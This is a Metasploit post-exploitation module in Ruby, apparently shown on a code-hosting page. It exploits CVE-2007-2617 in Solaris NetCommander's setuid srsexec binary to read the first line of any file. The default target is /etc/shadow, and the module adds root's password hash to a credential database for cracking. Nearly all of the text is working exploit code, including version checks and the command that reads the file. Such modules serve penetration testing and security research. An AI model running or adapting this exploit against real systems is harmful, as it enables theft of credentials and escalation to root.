Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::File
8
  include Msf::Post::Solaris::System
9
  include Msf::Post::Solaris::Priv
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Solaris srsexec Arbitrary File Reader',
16
        'Description' => %q{
17
          This module exploits a vulnerability in NetCommander 3.2.3 and 3.2.5.
18
          When srsexec is executed in debug (-d) verbose (-v) mode,
19
          the first line of an arbitrary file can be read due to the suid bit set.
20
          The most widely accepted exploitation vector is reading /etc/shadow,
21
          which will reveal root's hash for cracking.
22
        },
23
        'License' => MSF_LICENSE,
24
        'Author' => [
25
          'h00die', # metasploit module
26
          'iDefense' # discovery reported anonymously to https://labs.idefense.com
27
        ],
28
        'Platform' => [ 'solaris' ],
29
        'SessionTypes' => [ 'shell', 'meterpreter' ],
30
        'References' => [
31
          ['CVE', '2007-2617'],
32
          ['URL', 'https://download.oracle.com/sunalerts/1000443.1.html'],
33
          ['URL', 'https://www.securityfocus.com/archive/1/468235'],
34
          ['EDB', '30021'],
35
          ['BID', '23915']
36
        ],
37
        'DisclosureDate' => '2007-05-07'
38
      )
39
    )
40
    register_options([
41
      OptString.new('FILE', [true, 'File to read the first line of', '/etc/shadow'])
42
    ])
43
  end
44

45
  def suid_bin_path
46
    '/opt/SUNWsrspx/bin/srsexec'
47
  end
48

49
  def check
50
    if is_root?
51
      fail_with Failure::BadConfig, 'Session already has root privileges'
52
    end
53

54
    # This ls is based on the guidance in the sun alerts article
55
    unin = cmd_exec '/usr/bin/ls /opt/SUNWsrspx/bin/UninstallNetConnect.*.sh'
56
    unin =~ /UninstallNetConnect\.([\d.]{11})\.sh/
57
    unless ::Regexp.last_match(1)
58
      print_error 'NetConnect uninstall not found, either not installed or too new'
59
      return false
60
    end
61

62
    version = Rex::Version.new(::Regexp.last_match(1).split('.').map(&:to_i).join('.'))
63
    unless version.between?(Rex::Version.new('3.2.3'), Rex::Version.new('3.2.4'))
64
      print_error "#{version} is not vulnerable"
65
      return false
66
    end
67
    print_good "#{version} is vulnerable"
68

69
    unless setuid? suid_bin_path
70
      vprint_error "#{suid_bin_path} is not setuid, it must have been manually patched"
71
      return false
72
    end
73

74
    true
75
  end
76

77
  def run
78
    unless check
79
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
80
    end
81

82
    flag = Rex::Text.rand_text_alpha 5
83
    output = cmd_exec("#{suid_bin_path} -dvb #{datastore['FILE']} #{flag}")
84
    vprint_good("Raw Command Output: #{output}")
85

86
    # The first line of the file is cut at 20 characters.
87
    # If the output is longer than 20 characters, then
88
    # the next line will start with the last 2 characters from the previous line,
89
    # followed by the next 18 characters.
90

91
    formatted_output = output.scan(/binaries file line: (.+)$/).flatten.map do |line|
92
      (line.length == 20) ? line[0..17] : line
93
    end.join
94

95
    return if formatted_output.empty?
96

97
    print_good("First line of #{datastore['FILE']}: #{formatted_output}")
98

99
    return unless datastore['FILE'] == '/etc/shadow'
100

101
    print_good("Adding root's hash to the credential database.")
102
    credential_data = {
103
      origin_type: :session,
104
      session_id: session_db_id,
105
      workspace_id: myworkspace_id,
106
      post_reference_name: fullname,
107
      username: formatted_output.split(':')[0],
108
      private_data: formatted_output.split(':')[1],
109
      private_type: :nonreplayable_hash
110
    }
111
    create_credential(credential_data)
112
  end
113
end
114

115